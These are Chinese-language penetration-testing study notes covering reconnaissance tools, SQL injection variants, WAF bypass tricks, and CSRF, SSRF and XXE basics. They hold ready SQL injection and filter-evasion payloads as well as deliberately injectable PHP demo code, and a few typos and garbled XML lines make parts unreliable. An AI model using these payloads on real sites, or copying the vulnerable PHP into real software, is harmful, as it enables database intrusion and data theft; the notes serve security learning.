本文属于一种总结性的学习笔记,内容许多都早先发布独立的文章,可以通过分类标签进行查看
信息收集是渗透测试全过程的第一步,针对渗透目标进行最大程度的信息收集,遵随“知己知彼,百战不殆”的原则,先了解目标在利用目标。
收集域名信息的种类包括:子域名收集、Whois注册信息、备案信息、敏感信息收集、敏感目录探测、端口信息探测、系统服务探测、Web指纹探测、CDN排查/真实IP……等。
子域名是所谓的二级域名,通常一个主站的防护是严格的,但同时也会存在更多的二级子域名且可能防护简单。
子域名的收集有很多种方法,最简单的是使用Google-Hack搜索语法发现子域名,更多的使用工具和脚本对子域名进行“字典爆破”。
在Google搜索引擎中使用site:baidu.com
语法枚举子域名
域名爆破属于法律灰色地带,如果域名官方明示“禁止扫描器”则需注意。
Whois是一个标准的互联网协议,用来收集网络注册信息、注册域名、IP地址……
Whois有很多的线上平台:爱站、站长之家等
同时国内上线的网站和服务都会进行ICP备案,可以通过“beianbeian.com”查询备案的网站;国家规定备案编号要显示在页面上(普遍在页脚处)
敏感信息的收集通常是通过Google等众多搜索引擎发现。
工具
DirBuster:字典扫描探测目录
御剑目录扫描珍藏版:后台目录字典扫描
工具
Nmap:强大的扫描器,支持端口探测、服务探测
御剑高速端口扫描:利用端口尝试连接的端口探测
工具
Nmap:一代神器
*san:针对特定的CMS扫描器(例如:WPscan)
在线
云悉WEB指纹:www.yunsee.cn
Wapplayzer(浏览器插件)
检验方法
使用多地Ping验证IP段的方式来检验CDN
例如:www.17ce.com(在线多地区ping目标)
绕过方法
注入点
www.xx.com/?id=1 and '1'='1 (字符型注入)
源码SQL拼接
+----+------+------+
| id | name | pass |
+----+------+------+
| 1 | admin| 1234 |
+----+------+------+
| 2 | root | root |
+----+------+------+
select * form users where id='$id';
union联合注入
www.xx.com/?id=1 order by 1,2,3 => 判断字段数
www.xx.com/?id=1 union select 1,2,3 => union联合注入
www.xx.com/?id=1 union select 1,database(),3
通过一些sql函数返回的布尔值进行判断枚举
注入点
www.xx.com/?id=1 and '1'='1 (字符型注入)
源码SQL拼接
+----+------+------+
| id | name | pass |
+----+------+------+
| 1 | admin| 1234 |
+----+------+------+
| 2 | root | root |
+----+------+------+
select * form users where id='$id';
布尔注入举例
1' and substr(database(),1,1)='t'
updatexml()报错注入
1' and updatexml(1,concat(0x7e,(select user()),0x7e),3)
时间注入的逻辑是通过逻辑与非的方式设置一个时间函数(延迟函数)通过观察页面的响应来确定是否构成正确的语句. 简单而言,就是在页面无回显的情况下利用时间延迟的方式佐证布尔逻辑是否成立.
函数学习
sleep():时间延迟/等待函数
if('条件','成立','不成立')
benchmark():
sleep时间盲注
1' and if(substr(database(),1,1)='t',sleep(5),1)
堆叠查询可以执行多条SQL语句以分号分隔,堆叠注入利用该特点,在第二个SQL语句中构造自己要执行的语句;当第一条执行失败,就会执行第二个堆叠的语句进行查询。
'; select databases()
在URL中没有发现参数,Cookie中存在ID=1;类推
Cookie注入的PHP复现
$id = $_COOKIE['id'];
$value = '1';
setcookie("id","$value")
$conn = mysqli_connect("localhost","root","root","test");
if(mysqli_connect_error()){
echo "连接失败" . mysqli_error($con) ;
}
$result = mysqli_query($conn,"select * from users where id=$id ");
if(!$result){
print("Error:%s\n",mysqli_error($conn));
exit();
}
$row = mysqli_fetch_array($result);
echo $row{'name'} ."+". $row{'pass'};
echo "<br>";
ID参数经过Base64编码,在后台被解析。
Base64注入的PHP复现
//调用base64_decode()对参数进行base64解码
$id = base64_decode($_GET['id']);
$conn = mysqli_connect("localhost","root","root","test");
$sql = "select * from users where id=$id";
$result = mysqli_query($sql);
$row = mysqli_fetch_array($result);
echo $row{'name'} ."+". $row{'pass'};
echo "<br>";
HTTP数据包中有一个“X-Forwarded-for”头部参数简称XFF头;它代表客户端真实的IP,可以通过伪造XFF头来伪造IP。
xff: 127.0.0.1 'union select 1,2,3 --+
XFF注入PHP复现
getenv():获取一个环境变量的值
$conn = mysqli_connect("localhost","root","root","test");
if(mysqli_connect_error()){
echo "连接失败" . mysqli_error($con) ;
}
if(getenv("HTTP_CLIENT_IP")){
$ip = getenv("HTTP_CLIENT_IP");
} else if(getenv("HTTP_X_FORWARDED_FOR")) {
$ip = getenv("HTTP_X_FORWARDED_FOR");
} else if(getenv("REMOTE_ADDR")){
$ip = getenv("REMOTE_ADDR");
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$result = mysqli_query($conn,"select * from users where ip=$ip ");
$row = mysqli_fetch_array($result);
echo $row{'name'} ."+". $row{'pass'};
echo "<br>";
web应用对用户输入提交的内容进行敏感关键字扫描一旦符合则拦截当前的用户行为请求;往往在后台的黑名单中会忽视大小写问题,而sql是不区分大小写的。
安全建议:将用户输入的内容统一大小写进行关键字比对(不改变原来的字符串内容)
当web应用对敏感关键字进行拦截删除,将敏感关键字从字符串中删除;攻击者构造类似“uniunionon”这样的字符串,经过敏感关键字删除后就会变成“union”,这样子就会绕过了。
安全建议:采用多重的敏感关键字拦截,或者说对发现存在敏感字的请求全部拦截取消当前的访问。
由于系统会自动对URL进行一次URL解码,所以只进行一次URL编码是不会有作用的,需要进行两次URL编码。
id=-1'/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
id=1' union select 1,2,3||'1
最后的or '1闭合查询语句的最后的单引号,或者:
id=1' union select 1,2,'3
使用‘/**/’代替空格或使用圆括号组合
使用十六进制的方式编码转换引号和括号或其他符号
使用from、join、like、offset
from
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
join
union select 1,2 <==> union select * from (select 1)a join (select 2)b
合法的使用A用户进行登录等操作,利用CSRF漏洞伪造成B用户执行权限操作。
SSRF由攻击者构造请求并由服务器发起,SSRF的目的是外网无法访问的内部系统(因为内部系统是和服务器并联的但外网无法直接访问,但可以构造请求并有服务器发送请求给内部系统)
XML用于标记电子文件使其具有结构性的标记语言;用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
# XML声明部
<?xml version='1.0'>
# 文档类型定义DTD
<!DOCTYPE note[
<!ELEMENT note (to,form,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
# 文档元素
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don’t forget me this weekend</body>
</note>
<!DOCTYPE 根元素 [元素声明]>
<!DOCTYPE 根元素 SYSTEM "filename">
ENTTITY
关键字声明,实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明。 <!DOCTYPE 实体名称 'valud'>
<!DOCTYPE 实体名称 SYSTEM 'url'>
<?php
$xmlfile = file_get_contents('php://input');
// file_get_contents():获取客户端输入的内容
$dom = new DOMDocument();
// new DOMDocument():初始化XML解析器
$dom->loadXML($xmlfile);
// loadXML():加载客户端输入的xml内容
$xml = simplexml_import_dom($dom);
// simplexml_import_dom():获取XML文档节点
$xxe = $xml->xxe;
$str = "$xxe \n";
echo $str;
?>
WAF(Web应用防火墙);通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护。